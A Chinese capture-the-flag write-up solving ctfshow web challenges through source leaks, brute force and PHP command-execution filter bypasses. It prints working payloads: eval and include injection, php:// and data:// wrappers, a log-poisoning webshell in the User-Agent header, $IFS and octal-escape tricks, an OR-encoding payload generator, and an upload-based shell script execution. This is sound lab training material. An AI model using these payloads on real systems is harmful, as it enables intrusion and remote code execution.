Last Commit Date: 2025/08/01 入门难研究难学的还难找工作还难更重要的是题目还难 ^_^?
信息搜集 web1 Ctrl + U , 源代码见答案
web2 Ctrl + U , 源代码见答案
web3 Request Header
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 access-control-allow-credentials true access-control-allow-headers DNT,X-CustomHeader,Keep-Alive,User-Agent,X-Requested-With,If-Modified-Since,Cache-Control,Content-Type,Authorization,x-auth-token,Cookies,Aaa,Date,Server,Content-Length,Connection access-control-allow-methods GET,POST,PUT,DELETE,OPTIONS access-control-expose-headers Content-Type,Cookies,Aaa,Date,Server,Content-Length,Connection access-control-max-age 1728000 connection keep-alive content-encoding gzip content-type text/html; charset=UTF-8 date Fri, 11 Jul 2025 09:55:18 GMT flag ctfshow{280c276d-5fb9-4545-979f-4c391f889527} server nginx/1.20.1 transfer-encoding chunked x-powered-by PHP/7.3.11
web4 1 2 https://e7aa3a5c-015f-477c-ac04-4ad3eb374dd3.challenge.ctf.show/robots.txt https://e7aa3a5c-015f-477c-ac04-4ad3eb374dd3.challenge.ctf.show/flagishere.txt
web5 php 源码泄露,直接访问 /index.phps
即可。
web6 1 [19:18:03] 200 - 486B - https://930cddac-8a12-4a7f-b1e3-a4b09a83e2bb.challenge.ctf.show/www.zip
存在 fl000g.txt
文件,访问得到 FLAG。
web7 1 [19:27:37] 301 - 169B - https://98884501-5883-4a9d-bda3-26c243eded98.challenge.ctf.show/.git -> http://98884501-5883-4a9d-bda3-26c243eded98.challenge.ctf.show/.git/
直接访问即可。
web8 1 [19:31:53] 301 - 169B - https://9699df74-1b8a-4bca-b624-62f4a5d2022a.challenge.ctf.show/.svn -> http://9699df74-1b8a-4bca-b624-62f4a5d2022a.challenge.ctf.show/.svn/
直接访问即可。
web9 1 [19:38:10] 200 - 45B - https://ce0311e9-b2d5-4221-a3e3-df8ab68ee8d5.challenge.ctf.show/index.php.swp
直接访问即可。
web10 Cookie:
1 Cookie: cf_clearance=9cpZ27MOTWob8158QqfwmJ5hKMLOJppiNM0AcwXpcCI-1752232923-1.2.1.1-eBgWoMDqxpXVP6d5PXubBfSrPzskOAC8RWDWizuTq8lSBJNEVJpdJ2ZR0.uaHNn.SPuZbAEnnPjfbIlo8W.AsrZZ07uow5ixpVp7EaFUOkUj5m.EFUPClDADKxr6bMPUqIMruaNZuQ70uX8l2sN9XqnQ3KmwninkCHrsOhKtvAc2QBer11_l2a.Z_QBd4.zCZoboHyGGEVP0cDow8PhRQV_di3TOsKXI6ToKuOfhcNk; flag=ctfshow%7B8cad38d8-6431-4eac-a275-53027282317e%7D
web12 1 [20:23:46] 401 - 42B - https://16ae8a3e-6f52-4687-b660-468cf5345fe3.challenge.ctf.show/admin/index.php
同时页面最下方:
1 <div class="location_main">Help Line Number : <a href="[#](https://16ae8a3e-6f52-4687-b660-468cf5345fe3.challenge.ctf.show/#)">372619038</a></div>
web13 document 泄露 admin pannel 以及 cred,直接访问即可。
1 https://6be3241f-8591-4b91-9d6d-71ba23b8d883.challenge.ctf.show/system1103/login.php
web14 1 [21:25:45] 301 - 169B - https://c3bab82d-719d-43c2-9e17-33c0115ebca0.challenge.ctf.show/editor -> http://c3bab82d-719d-43c2-9e17-33c0115ebca0.challenge.ctf.show/editor/
访问后,使用插入文件->文件空间 就可以看到服务器上的内容,访问 https://URL/nothinghere/fl000g.txt
即可拿到 flag。
Nday: 关于中写了 editor 的版本信息:
1 2 KindEditor 4.1.11 (2016-03-31) Copyright © [kindsoft.net](http://www.kindsoft.net/) All rights reserved.
https://github.com/kindsoft/kindeditor/issues/289
1 2 3 https://c3bab82d-719d-43c2-9e17-33c0115ebca0.challenge.ctf.show/editor/php/file_manager_json.php?path=var/www/html/nothinghere/ {"moveup_dir_path":"var\/www\/html\/","current_dir_path":"var\/www\/html\/nothinghere\/","current_url":"\/editor\/php\/..\/attached\/var\/www\/html\/nothinghere\/","total_count":1,"file_list":[{"is_dir":false,"has_file":false,"filesize":45,"dir_path":"","is_photo":false,"filetype":"txt","filename":"fl000g.txt","datetime":"2025-07-11 13:21:26"}]}
也可以看到该目录下存在 fl000g.txt
web15 1 [22:06:04] 200 - 1KB - https://995ba1ca-8c67-437b-981e-82ddcff76fe2.challenge.ctf.show/admin/
同时在 index 可以找到一个邮箱,社工一下就可以重置密码,密保问题为西安。
web16 访问 tz.php
可以发现是 [雅黑PHP探针[简体版]v0.4.7](http://www.yahei.net/)
在 PHP相关参数
中可以点击 phpinfo
,在其中搜索 FLAG
即可看到。
web17 1 [12:26:01] 200 - 934B - https://5b507ea0-ae31-427e-b436-c2b1a45c14ea.challenge.ctf.show/backup.sql
下载可以直接找到 FLAG。
1 INSERT INTO `ctfshow_secret` VALUES ('ctfshow{8040b162-f58d-4cdf-a526-3e79432451d2}');
web18 1 <script type="text/javascript" src="[js/Flappy_js.js](https://84444e83-c959-4fb0-905a-50adce4dd89d.challenge.ctf.show/js/Flappy_js.js)"></script>
1 2 3 4 if (score>100 ){ var result=window .confirm ("\u4f60\u8d62\u4e86\uff0c\u53bb\u5e7a\u5e7a\u96f6\u70b9\u76ae\u7231\u5403\u76ae\u770b\u770b" );}
CC 解密(Unescape Unicode Characters)
1 https://84444e83-c959-4fb0-905a-50adce4dd89d.challenge.ctf.show/110.php
web19 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 |<script type ="text/javascript" > | |function checkForm ( ){| |var key = "0000000372619038" ;| |var iv = "ilove36dverymuch" ;| |var pazzword = $("#pazzword" ).val ();| |pazzword = encrypt (pazzword,key,iv);| |$("#pazzword" ).val (pazzword);| |$("#loginForm" ).submit ();| || |}| |function encrypt (data,key,iv ) { |var key1 = CryptoJS .enc .Latin1 .parse (key);| |var iv1 = CryptoJS .enc .Latin1 .parse (iv);| |return CryptoJS .AES .encrypt (data, key1,{| |iv : iv1,| |mode : CryptoJS .mode .CBC ,| |padding : CryptoJS .pad .ZeroPadding | |}).toString ();| |}| || | </script > ||<!--| |error_reporting (0 );| |$flag="fakeflag" | |$u = $_POST['username' ];| |$p = $_POST['pazzword' ];| |if (isset ($u) && isset ($p)){| |if ($u==='admin' && $p ==='a599ac85a73384ee3219fa684296eaa62667238d608efa81837030bd1ce1bf04' ){| |echo $flag;| |}| |}| |-->|
AES 加密 :
1 2 3 4 KEY 0000000372619038 LATIN1 IV ilove36dverymuch UTF8 encode string: a599ac85a73384ee3219fa684296eaa62667238d608efa81837030bd1ce1bf04 decode string: i_want_a_36d_girl
admin/i_want_a_36d_girl
即可。
web20 1 [12:21:28] 200 - 348KB - https://8c007882-be31-47db-b264-6c73c418a103.challenge.ctf.show/db/db.mdb
打开查找 flag:
1 返回主切换面板flag{ctfshow_old_database}
爆破 web21 进入后直接就是一个 tomcat 的登录框,直接用 tomcat 的 default base64 encode 爆破无果,bp 自定义三段爆破:
cred: Authorization: Basic YWRtaW46c2hhcms2Mw==
| admin:shark63
1 2 3 4 5 6 7 8 9 10 11 12 13 14 HTTP/1.1 200 OK Server: nginx/1.20.1 Date: Sat, 12 Jul 2025 06:15:14 GMT Content-Type: text/html; charset=utf-8 Connection: close X-Powered-By: PHP/7.3.11 Access-Control-Allow-Methods: GET,POST,PUT,DELETE,OPTIONS Access-Control-Allow-Credentials: true Access-Control-Expose-Headers: Content-Type,Cookies,Aaa,Date,Server,Content-Length,Connection Access-Control-Allow-Headers: DNT,X-CustomHeader,Keep-Alive,User-Agent,X-Requested-With,If-Modified-Since,Cache-Control,Content-Type,Authorization,x-auth-token,Cookies,Aaa,Date,Server,Content-Length,Connection Access-Control-Max-Age: 1728000 Content-Length: 45 ctfshow{d58c20dd-2f14-4e68-93e9-0b050bddf581}
web23 满足条件即可,chatgpt 一把梭
1 2 3 4 5 6 7 8 9 10 11 import hashlibfor i in range (1000000 ): s = str (i) m = hashlib.md5(s.encode()).hexdigest() if m[1 ] == m[14 ] == m[17 ] and m[31 ] == '3' : print (f"[✓] 找到符合条件的输入:" ) print (f"token = {s} " ) print (f"md5(token) = {m} " ) break
1 2 3 [✓] 找到符合条件的输入: token = 422 md5(token) = f85454e8279be180185cac7d243c5eb3
web24 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 <?php error_reporting (0 ); include ("flag.php" ); if (isset ($_GET ['r' ])){ $r = $_GET ['r' ]; mt_srand (372619038 ); if (intval ($r )===intval (mt_rand ())){ echo $flag ; } }else { highlight_file (__FILE__ ); echo system ('cat /proc/version' ); } ?>
伪随机数,直接生成即可。
1 2 3 4 5 6 7 8 <?php mt_srand (372619038 ); echo mt_rand () ?>
1 https://25102ef1-b694-403e-9e3d-e87115a1f4f8.challenge.ctf.show/?r=1155388967
…..
命令执行 web29 1 2 3 4 5 6 7 8 error_reporting (0 ); if (isset ($_GET ['c' ])){ $c = $_GET ['c' ]; if (!preg_match ("/flag/i" , $c )){ eval ($c ); } }else { highlight_file (__FILE__ ); }
满足输入的 get 中不包含 flag 即可。
1 2 3 https://fd469e16-ff42-44a0-91a9-027ecec8affd.challenge.ctf.show/?c=system('id'); uid=82(www-data) gid=82(www-data) groups=82(www-data),82(www-data)
payload:
1 2 3 4 5 ?c=system ('cat *' ); ?c=system ('cat fla*' ); ?c=system ('nl ./*' ); ?c=eval ($_GET [1 ]);&1 =system ('cat ./flag.php' ); 等
web30 1 if (!preg_match ("/flag|system|php/i" , $c )){
没有 ban eval(), 直接秒
1 ?c=eval ($_GET [1 ]);&1 =system ('cat ./flag.php' );
也可以用反引号代替 system()
web31 1 if (!preg_match ("/flag|system|php|cat|sort|shell|\.| |\'/i" , $c )){
无法使用 cat 以及空格,绕过即可:
1 2 3 4 ?c=eval ($_GET [1 ]);&1 =system ('cat ./flag.php' ); ?c=highlight_file (next (array_reverse (scandir (pos (localeconv ()))))); ?c=passthru ("tac$IFS $9fla *" ); ?c=$f =glob ("f*" );show_source ($f [0 ]);
web32 1 if (!preg_match ("/flag|system|php|cat|sort|shell|\.| |\'|\`|echo|\;|\(/i" , $c )){
反引号,分号全部被 ban,可以使用 ?>
作为结束目的是代替分号。 参考 ?c=eval($_GET[1]);&1=system('cat ./flag.php');
, 修改,payload:
1 2 ?c=include %0 a$_GET [1 ]?> &1 =php: ?c=include $_GET [1 ]?> &1 =php:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 xekoner@NEVER-X-10-eJ:~/php_mt_seed/php_mt_seed$ echo -n 'PD9waHANCg0KLyoNCiMgLSotIGNvZGluZzogdXRmLTggLSotDQojIEBBdXRob3I6IGgxeGENCiMgQERhdGU6ICAgMjAyMC0wOS0wNCAwMDo0OToxOQ0KIyBATGFzdCBNb2RpZmllZCBieTogICBoMXhhDQojIEBMYXN0IE1vZGlmaWVkIHRpbWU6IDIwMjAtMDktMDQgMDA6NDk6MjYNCiMgQGVtYWlsOiBoMXhhQGN0ZmVyLmNvbQ0KIyBAbGluazogaHR0cHM6Ly9jdGZlci5jb20NCg0KKi8NCg0KJGZsYWc9ImN0ZnNob3d7YjcyODA0MzktM2FkNy00MTNhLWFlZmEtMWM3MTcyY2ZlNTFjfSI7DQo=' | base64 -d <?php /* */ $flag ="ctfshow{b7280439-3ad7-413a-aefa-1c7172cfe51c}" ;
第二种方法是日志马。
1 ../../../../var/log/nginx/access.log
包含了请求头的 User-Agent , 直接把 User-Agent 里改为马,然后 hacker-bar POST execute 即可
1 User-Agent: <?php system($_POST[1]); ?>
1 TP/1.1" 200 12632 "-" "uid=82(www-data) gid=82(www-data) groups=82(www-data),82(www-data) " 172.12.23.142 - - [13/Jul/2025:14:3
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 1 =cat ./flag.php| | |---| |172.12 .23.142 - - [13 /Jul/2025 :14 :34 :30 +0000 ] "GET /favicon.ico HTTP/1.1" 200 1921 "https://73b67cb0-64ea-4610-a044-00ff928e6ff9.challenge.ctf.show/?c=include$_GET [1]?%3E&1=../../../../var/log/nginx/access.log" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/139.0.0.0 Safari/537.36 Edg/139.0.0.0" | |172.12 .23.142 - - [13 /Jul/2025 :14 :34 :32 +0000 ] "GET /?c=include$_GET [1]?%3E&1=../../../../var/log/nginx/access.log HTTP/1.1" 200 12364 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/139.0.0.0 Safari/537.36 Edg/139.0.0.0" | |172.12 .23.142 - - [13 /Jul/2025 :14 :34 :49 +0000 ] "GET /?c=include$_GET [1]?%3E&1=../../../../var/log/nginx/access.log HTTP/1.1" 200 12632 "-" "<?php| || |/*| |# -*- coding: utf-8 -*-| |# @Author: h1xa| |# @Date: 2020-09-04 00:49:19| |# @Last Modified by: h1xa| |# @Last Modified time: 2020-09-04 00:49:26| |# @email: h1xa@ctfer.com| |# @link: https://ctfer.com| || |*/| || |$flag =" ctfshow{b7280439-3 ad7-413 a-aefa-1 c7172cfe51c}";| |" ||172.12 .23.142 - - [13 /Jul/2025 :14 :35 :40 +0000 ] "GET /?c=include$_GET [1]?%3E&1=../../../../var/log/nginx/access.log HTTP/1.1" 200 12774 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/138.0.0.0 Safari/537.36" | |172.12 .23.142 - - [13 /Jul/2025 :14 :35 :40 +0000 ] "GET /favicon.ico HTTP/1.1" 200 1921 "https://73b67cb0-64ea-4610-a044-00ff928e6ff9.challenge.ctf.show/?c=include$_GET [1]?%3E&1=../../../../var/log/nginx/access.log" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/138.0.0.0 Safari/537.36" | |172.12 .23.142 - - [13 /Jul/2025 :14 :35 :48 +0000 ] "GET /?c=include$_GET [1]?%3E&1=../../../../var/log/nginx/access.log HTTP/1.1" 200 13353 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/138.0.0.0 Safari/537.36" | |172.12 .23.142 - - [13 /Jul/2025 :14 :35 :48 +0000 ] "GET /favicon.ico HTTP/1.1" 200 1921 "https://73b67cb0-64ea-4610-a044-00ff928e6ff9.challenge.ctf.show/?c=include$_GET [1]?%3E&1=../../../../var/log/nginx/access.log" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/138.0.0.0 Safari/537.36" | |172.12 .23.142 - - [13 /Jul/2025 :14 :35 :59 +0000 ] "POST /?c=include$_GET [1]?%3E&1=../../../../var/log/nginx/access.log HTTP/1.1" 200 13999 "https://73b67cb0-64ea-4610-a044-00ff928e6ff9.challenge.ctf.show/?c=include$_GET [1]?%3E&1=../../../../var/log/nginx/access.log" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/138.0.0.0 Safari/537.36" | |172.12 .23.142 - - [13 /Jul/2025 :14 :36 :00 +0000 ] "GET /favicon.ico HTTP/1.1" 200 1921 "https://73b67cb0-64ea-4610-a044-00ff928e6ff9.challenge.ctf.show/?c=include$_GET [1]?%3E&1=../../../../var/log/nginx/access.log" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/138.0.0.0 Safari/537.36" |
web33 1 2 ?c=include $_GET [1 ]?> &1 =php: 即可。
web34 1 if (!preg_match ("/flag|system|php|cat|sort|shell|\.| |\'|\`|echo|\;|\(|\:|\"/i" , $c )){
禁用了 :
等,但是在 c 中我们并没有传入这类字符,继续用之前的 payload 即可。
1 2 ?c=include $_GET [1 ]?> &1 =data: ?c=include $_GET [1 ]?> &1 =php:
web35 1 if (!preg_match ("/flag|system|php|cat|sort|shell|\.| |\'|\`|echo|\;|\(|\:|\"|\<|\=/i" , $c )){
payload:
1 ?c=include $_GET [1 ]?> &1 =data:
web36 1 if (!preg_match ("/flag|system|php|cat|sort|shell|\.| |\'|\`|echo|\;|\(|\:|\"|\<|\=|\/|[0-9]/i" , $c )){
0-9 被 ban 了,可以换成字符。
1 ?c=include $_GET [a]?> &a=data:
web37 1 2 3 4 5 6 7 8 error_reporting (0 ); if (isset ($_GET ['c' ])){ $c = $_GET ['c' ]; if (!preg_match ("/flag/i" , $c )){ include ($c ); echo $flag ; }
包含输入的$c, 同时对输入做了过滤,可以使用 data 伪协议。 payload:
1 2 3 4 5 6 ?c=data: $ echo -n 'PD9waHAgc3lzdGVtKCdjYXQgLi9mbGFnLnBocCcpOyA/Pg==' | base64 -d <?php system ('cat ./flag.php' ); ?> x
web38 1 if (!preg_match ("/flag|php|file/i" , $c )){
继续秒, payload:
web39 1 2 3 if (!preg_match ("/flag/i" , $c )){ include ($c .".php" ); }
看到下面自动加上了 .php , 但是我们依旧可以使用上面这个代码,在最后加上 //
来注释掉最后的 .php
payload:
1 $flag ="ctfshow{8606c58e-ee76-4992-b86d-7b7944382a66}" ;
可以看到最后的 .php 确实被我们输入的 //
注释掉了。
web40 1 2 3 if (!preg_match ("/[0-9]|\~|\`|\@|\#|\\$|\%|\^|\&|\*|\(|\)|\-|\=|\+|\{|\[|\]|\}|\:|\'|\"|\,|\<|\.|\>|\/|\?|\\\\/i" , $c )){ eval ($c ); }
限制了很多,但是这里需要注意,括号都是大写括号,不是英文括号,同时没有过滤分号,直接上函数绕过即可。
1 ?c=highlight_file (next (array_reverse (scandir (pos (localeconv ())))));
web41 1 2 3 4 5 6 7 8 <?php if (isset ($_POST ['c' ])){ $c = $_POST ['c' ]; if (!preg_match ('/[0-9]|[a-z]|\^|\+|\~|\$|\[|\]|\{|\}|\&|\-/i' , $c )){ eval ("echo($c );" ); } }else { highlight_file (__FILE__ ); } ?>
过滤了字母,数字等, 但是没有过滤 |
, 可以使用 ASCII 0-255中没有被过滤的字符进行或运算,从而得到被绕过的字符。
payload:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 import reimport urllibfrom urllib import parseimport requestscontents = [] for i in range (256 ): for j in range (256 ): hex_i = '{:02x}' .format (i) hex_j = '{:02x}' .format (j) preg = re.compile (r'[0-9]|[a-z]|\^|\+|~|\$|\[|]|\{|}|&|-' , re.I) if preg.search(chr (int (hex_i, 16 ))) or preg.search(chr (int (hex_j, 16 ))): continue else : a = '%' + hex_i b = '%' + hex_j c = chr (int (a[1 :], 16 ) | int (b[1 :], 16 )) if 32 <= ord (c) <= 126 : contents.append([c, a, b]) def make_payload (cmd ): payload1 = '' payload2 = '' for i in cmd: for j in contents: if i == j[0 ]: payload1 += j[1 ] payload2 += j[2 ] break payload = '("' + payload1 + '"|"' + payload2 + '")' return payload URL = input ('url:' ) payload = make_payload('system' ) + make_payload('cat flag.php' ) response = requests.post(URL, data={'c' : urllib.parse.unquote(payload)}) print (response.text)
web42 1 system ($c ." >/dev/null 2>&1" );
标准输出和错误输出都被 null 了,可以直接用分号隔开,执行完前面的输出后在执行后面的,相当于没起到作用。 payload:
web43 1 if (!preg_match ("/\;|cat/i" , $c )){
把上一次的绕过方式都 ban 了,我们还可以用运算符 payload:
web44 1 if (!preg_match ("/;|cat|flag/i" , $c )){
少了 flag,但是可以使用 fla* 绕过。 payload:
web45 1 if (!preg_match ("/\;|cat|flag| /i" , $c )){
多了空格。关于空格的绕过很简单:
1 2 3 4 5 $IFS$1 $IFS $IFS$9 ${IFS} %20
payload:
web46 1 if (!preg_match ("/\;|cat|flag| |[0-9]|\\$|\*/i" , $c )){
数字,空格绕过都被过滤:
1 2 fla* -> fla''g.php $IFS$9 -> <
payloads:
1 2 3 4 ?c=nl<fla'' g.php|| ca\t<fla\g.php|| ?c=more%09 fla?.php%0 A ?c=tac%09 fl??.php||
web47 1 if (!preg_match ("/\;|cat|flag| |[0-9]|\\$|\*|more|less|head|sort|tail/i" , $c )){
把一些常见的打开文件的命令 ban 了,但是还有一些 nl, tac, 等
payload:
使用 \
当作分隔符绕过黑名单 ban 的 list 仍然可以使用:
web48 1 if (!preg_match ("/\;|cat|flag| |[0-9]|\\$|\*|more|less|head|sort|tail|sed|cut|awk|strings|od|curl|\`/i" , $c ))
依然可以使用那些 payloads:
1 2 ?c=c\at<fla\g.php|| ?c=nl<fla'' g.php||
web49 1 if (!preg_match ("/\;|cat|flag| |[0-9]|\\$|\*|more|less|head|sort|tail|sed|cut|awk|strings|od|curl|\`|\%/i" , $c )){
依然可以使用那些 payloads:
1 2 ?c=c\at<fla\g.php|| ?c=nl<fla'' g.php||
web50 - 51 1 if (!preg_match ("/\;|cat|flag| |[0-9]|\\$|\*|more|less|head|sort|tail|sed|cut|awk|strings|od|curl|\`|\%|\x09|\x26/i" , $c )){
payloads:
1 2 ?c=c\at<fla\g.php|| ?c=nl<fla'' g.php||
web52 1 2 3 if (!preg_match ("/\;|cat|flag| |[0-9]|\*|more|less|head|sort|tail|sed|cut|tac|awk|strings|od|curl|\`|\%|\x09|\x26|\>|\</i" , $c )){ system ($c ." >/dev/null 2>&1" ); }
空格被过滤但是可以使用 $IFS
payloads (flag 在根目录下):
1 2 ?c=nl${IFS}/fla?|| ?c=nl$IFS \/fla?||
web53 1 2 3 4 if (!preg_match ("/\;|cat|flag| |[0-9]|\*|more|wget|less|head|sort|tail|sed|cut|tac|awk|strings|od|curl|\`|\%|\x09|\x26|\>|\</i" , $c )){ echo ($c ); $d = system ($c ); echo "<br>" .$d ;
没有过滤 $
符,简单绕过:
++++ web54 1 if (!preg_match ("/\;|.*c.*a.*t.*|.*f.*l.*a.*g.*| |[0-9]|\*|.*m.*o.*r.*e.*|.*w.*g.*e.*t.*|.*l.*e.*s.*s.*|.*h.*e.*a.*d.*|.*s.*o.*r.*t.*|.*t.*a.*i.*l.*|.*s.*e.*d.*|.*c.*u.*t.*|.*t.*a.*c.*|.*a.*w.*k.*|.*s.*t.*r.*i.*n.*g.*s.*|.*o.*d.*|.*c.*u.*r.*l.*|.*n.*l.*|.*s.*c.*p.*|.*r.*m.*|\`|\%|\x09|\x26|\>|\</i" , $c )){
过滤了很多命令,我们可以使用正则匹配+完整命令绕过, 空格使用 $IFS
绕过, payloads:
1 2 3 /bin/?at$IFS \./f??????? ?c=uniq${IFS}f???.php
1 2 /bin/?at -> cat f??????? -> flag.php
++++ web55 1 2 if (!preg_match ("/\;|[a-z]|\`|\%|\x09|\x26|\>|\</i" , $c )){ system ($c );
正则不允许出现所有字符,有几种方法绕过:
1 2 3 ?c=/???/????64 ????.??? 等同于 ?c=/bin/base64 flag.php
0x02 $解析八进制?c=$'\154\163'
在 Bash 中,$'…'
是一种 ANSI‑C 风格的字符串字面量 (ANSI‑C quoting),它会对其中的反斜杠转义序列(比如 \n
、\x41
、\123
)进行 即时解析 。
1 2 ?c=$'\154\163' (ls) ?c=$'\143\141\164' %20 * (cat *)
先创建一个 POST 提交 form 的 html
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 <!DOCTYPE html > <html lang ="en" > <head > <meta charset ="UTF-8" > <title > POST数据包POC</title > </head > <body > <form action ="http://8f02c525-c2a8-41ea-840a-57400e19d430.challenge.ctf.show/" method ="post" enctype ="multipart/form-data" > <label for ="file" > 文件名:</label > <input type ="file" name ="file" id ="file" > <br > <input type ="submit" name ="submit" value ="提交" > </form > </body >
随便上传一个 txt 文件,然后修改:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 POST /?c=.%20/???/????????[@-[] HTTP/1.1 ... Connection: keep-alive ------WebKitFormBoundaryXOKRJOSgnqPgRC9j Content-Disposition: form-data; name="file"; filename="1.txt" Content-Type: text/plain #!/bin/sh cat flag.php ------WebKitFormBoundaryXOKRJOSgnqPgRC9j Content-Disposition: form-data; name="submit" æäº¤ ------WebKitFormBoundaryXOKRJOSgnqPgRC9j--
++++++++++++ Attation: 第一行 POST 要修改 Connection: 要修改成 keep-alive filenale -> 1.txt Content-type: 改为 text/plain 修改内容 #!/bin/sh cat flag.php
, Go 发送即可。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 HTTP/1.1 200 OK Server: nginx/1.20.1 Date: Mon, 14 Jul 2025 16:29:43 GMT Content-Type: text/html; charset=UTF-8 Connection: keep-alive X-Powered-By: PHP/7.3.11 Access-Control-Allow-Methods: GET,POST,PUT,DELETE,OPTIONS Access-Control-Allow-Credentials: true Access-Control-Expose-Headers: Content-Type,Cookies,Aaa,Date,Server,Content-Length,Connection Access-Control-Allow-Headers: DNT,X-CustomHeader,Keep-Alive,User-Agent,X-Requested-With,If-Modified-Since,Cache-Control,Content-Type,Authorization,x-auth-token,Cookies,Aaa,Date,Server,Content-Length,Connection Access-Control-Max-Age: 1728000 Content-Length: 278 <?php /* # -*- coding: utf-8 -*- # @Author: h1xa # @Date: 2020-09-07 19:40:53 # @Last Modified by: h1xa # @Last Modified time: 2020-09-07 19:41:00 # @email: h1xa@ctfer.com # @link: https://ctfer.com */ $flag="ctfshow{6956e00e-b927-4258-85ce-e9a9c0c4c1cb}";
++++ web56 比上一题多了数字 ban
1 if (!preg_match ("/\;|[a-z]|[0-9]|\\$|\(|\{|\'|\"|\`|\%|\x09|\x26|\>|\</i" , $c ))
那就只能使用上一题的第三种方法 (无数字字母的命令执行):https://blog.csdn.net/qq_46091464/article/details/108513145
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 POST /?c=.%20/???/????????[@-[] HTTP/1.1 Host: 315767c4-59aa-428c-af2f-0d023b94d69a.challenge.ctf.show Content-Length: 300 Cache-Control: max-age=0 Origin: null Content-Type: multipart/form-data; boundary=----WebKitFormBoundary14qhV6qdX4LpLr4n Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/138.0.0.0 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7 Accept-Encoding: gzip, deflate Accept-Language: zh-CN,zh;q=0.9,en;q=0.8 Connection: keep-alive ------WebKitFormBoundary14qhV6qdX4LpLr4n Content-Disposition: form-data; name="file"; filename="1.txt" Content-Type: text/plain #/bin/sh cat flag.php ------WebKitFormBoundary14qhV6qdX4LpLr4n Content-Disposition: form-data; name="submit" æäº¤ ------WebKitFormBoundary14qhV6qdX4LpLr4n--
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 HTTP/1.1 200 OK Server: nginx/1.20.1 Date: Tue, 15 Jul 2025 10:36:58 GMT Content-Type: text/html; charset=UTF-8 Connection: keep-alive X-Powered-By: PHP/7.3.11 Access-Control-Allow-Methods: GET,POST,PUT,DELETE,OPTIONS Access-Control-Allow-Credentials: true Access-Control-Expose-Headers: Content-Type,Cookies,Aaa,Date,Server,Content-Length,Connection Access-Control-Allow-Headers: DNT,X-CustomHeader,Keep-Alive,User-Agent,X-Requested-With,If-Modified-Since,Cache-Control,Content-Type,Authorization,x-auth-token,Cookies,Aaa,Date,Server,Content-Length,Connection Access-Control-Max-Age: 1728000 Content-Length: 278 <?php /* # -*- coding: utf-8 -*- # @Author: h1xa # @Date: 2020-09-07 19:40:53 # @Last Modified by: h1xa # @Last Modified time: 2020-09-07 19:41:00 # @email: h1xa@ctfer.com # @link: https://ctfer.com */ $flag="ctfshow{9c099cc6-04a5-4ee4-be66-018f16ac8a15}";
++++ web57 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 <?php if (isset ($_GET ['c' ])){ $c =$_GET ['c' ]; if (!preg_match ("/\;|[a-z]|[0-9]|\`|\|\#|\'|\"|\`|\%|\x09|\x26|\x0a|\>|\<|\.|\,|\?|\*|\-|\=|\[/i" , $c )){ system ("cat " .$c .".php" ); } }else { highlight_file (__FILE__ ); }
限制了很多很多关键字,上一道题目的 POC 已经用不了了,但是可以看到美元符和括号可以用,那我们就可以使用这种方法(flag in 36.php ):
1 $((~$(($((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))))))
$(( ~$(()) ))
:对0作取反运算,值为-1$(( $((~$(()))) $((~$(()))) ))
: -1-1,也就是(-1)+(-1)为-2,所以值为-2$(( ~$(( $((~$(()))) $((~$(()))) )) ))
:再对-2做一次取反得到1,所以值为1 故我们在 $(( ~$(( )) ))
里面放37个 $((~$(())))
,得到-37,取反即可得到36:
test.py
1 2 3 4 5 6 7 8 9 10 11 12 try : n = int (input ("Input A Number (Number>=0): " )) if n < 0 : print ("请输入非负整数!" ) else : cell = '$((~$(())))' inner = '' .join([cell] * (n + 1 )) print (f'$((~$(({inner} ))))' ) except ValueError: print ("请输入有效的整数!" )
web58 & web59 & web60 & web61 & web62 & web63 & web64 & web65 1 2 3 4 5 6 if (isset ($_POST ['c' ])){ $c = $_POST ['c' ]; eval ($c ); }else { highlight_file (__FILE__ ); }
没啥限制,直接 php 内置函数带走:
